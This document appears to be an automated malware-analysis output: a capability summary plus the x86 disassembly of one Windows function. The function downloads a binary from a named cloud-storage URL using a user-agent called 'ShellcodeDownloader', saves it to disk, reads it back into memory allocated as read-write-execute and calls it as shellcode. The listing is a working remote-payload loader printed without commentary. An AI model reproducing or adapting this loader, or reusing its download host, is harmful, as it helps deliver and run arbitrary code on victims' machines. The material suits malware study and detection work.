Function at 0x4031b0
Capabilities:
Allocate or change rwx memory
Create http request
Execute shellcode via indirect call
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4272e3
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
mov eax, 0x11b0
call fcn.0040ab20
call fcn.00402ec0
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x28], str.https:__wwwbin_1323571107.cos.ap_guangzhou.myqcloud.com_qd.bin
mov dword [ebp - 0x18], str.C:Program_Files__x86_Mysoftwaref4.bin
push 0
push 0
push 0
push 1
push str.ShellcodeDownloader
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x40322a
push 0x407c60
push 0x433958
push 0x438048
call fcn.00407950
add esp, 8
mov ecx, eax
call fcn.00404e40
push 0
push 0x80000000
push 0
push 0
mov eax, dword [ebp - 0x28]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x403274
push 0x407c60
push 0x433960
push 0x438048
call fcn.00407950
add esp, 8
mov ecx, eax
call fcn.00404e40
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 1
push 0x40
push 0x20
mov eax, dword [ebp - 0x18]
push eax
lea ecx, [ebp - 0x1bc]
call fcn.00404c10
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x1bc]
call fcn.00404b30
movzx ecx, al
test ecx, ecx
jne 0x4032e1
push 0x407c60
mov edx, dword [ebp - 0x18]
push edx
push 0x433968
push 0x438048
call fcn.00407950
add esp, 8
push eax
call fcn.00407950
add esp, 8
mov ecx, eax
call fcn.00404e40
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov dword [ebp - 0x3c], 0x1000
lea edx, [ebp - 0x24]
push edx
push 0x1000
lea eax, [ebp - 0x11bc]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x403327
cmp dword [ebp - 0x24], 0
jbe 0x403327
mov edx, dword [ebp - 0x24]
xor eax, eax
push eax
push edx
lea ecx, [ebp - 0x11bc]
push ecx
lea ecx, [ebp - 0x1bc]
call fcn.00404d10
jmp 0x4032e8
lea ecx, [ebp - 0x1bc]
call fcn.00404b00
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 1
push 0x40
push 0x24
mov ecx, dword [ebp - 0x18]
push ecx
lea ecx, [ebp - 0x10c]
call fcn.004036e0
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x10c]
call fcn.00403660
movzx edx, al
test edx, edx
jne 0x40339c
push 0x407c60
mov eax, dword [ebp - 0x18]
push eax
push 0x433970
push 0x438048
call fcn.00407950
add esp, 8
push eax
call fcn.00407950
add esp, 8
mov ecx, eax
call fcn.00404e40
lea ecx, [ebp - 0x54]
push ecx
lea ecx, [ebp - 0x10c]
call fcn.004037e0
push 0
push 0
push 0
lea ecx, [ebp - 0x10c]
call fcn.004038b0
lea ecx, [ebp - 0x1d]
call fcn.00404f40
push eax
lea ecx, [ebp - 0x54]
call fcn.00404f50
push eax
lea ecx, [ebp - 0x38]
call fcn.004035f0
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x54]
call fcn.00404f50
push edx
push eax
lea ecx, [ebp - 0x38]
call fcn.004035b0
push eax
lea ecx, [ebp - 0x10c]
call fcn.004039c0
lea ecx, [ebp - 0x10c]
call fcn.00403630
push 0x40
push 0x1000
lea ecx, [ebp - 0x54]
call fcn.00404f50
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jne 0x403442
push 0x407c60
push str.error
push 0x438048
call fcn.00407950
add esp, 8
mov ecx, eax
call fcn.00404e40
lea ecx, [ebp - 0x54]
call fcn.00404f50
push eax
lea ecx, [ebp - 0x38]
call fcn.004035b0
push eax
mov edx, dword [ebp - 0x1c]
push edx
call fcn.0040b1d0
add esp, 0xc
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x2c], eax
call dword [ebp - 0x2c]
push 0x8000
push 0
mov ecx, dword [ebp - 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push 0x407c60
push 0x433980
push 0x438048
call fcn.00407950
add esp, 8
mov ecx, eax
call fcn.00404e40
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x38]
call fcn.004035d0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x10c]
call fcn.004034e0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1bc]
call fcn.00402e00
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret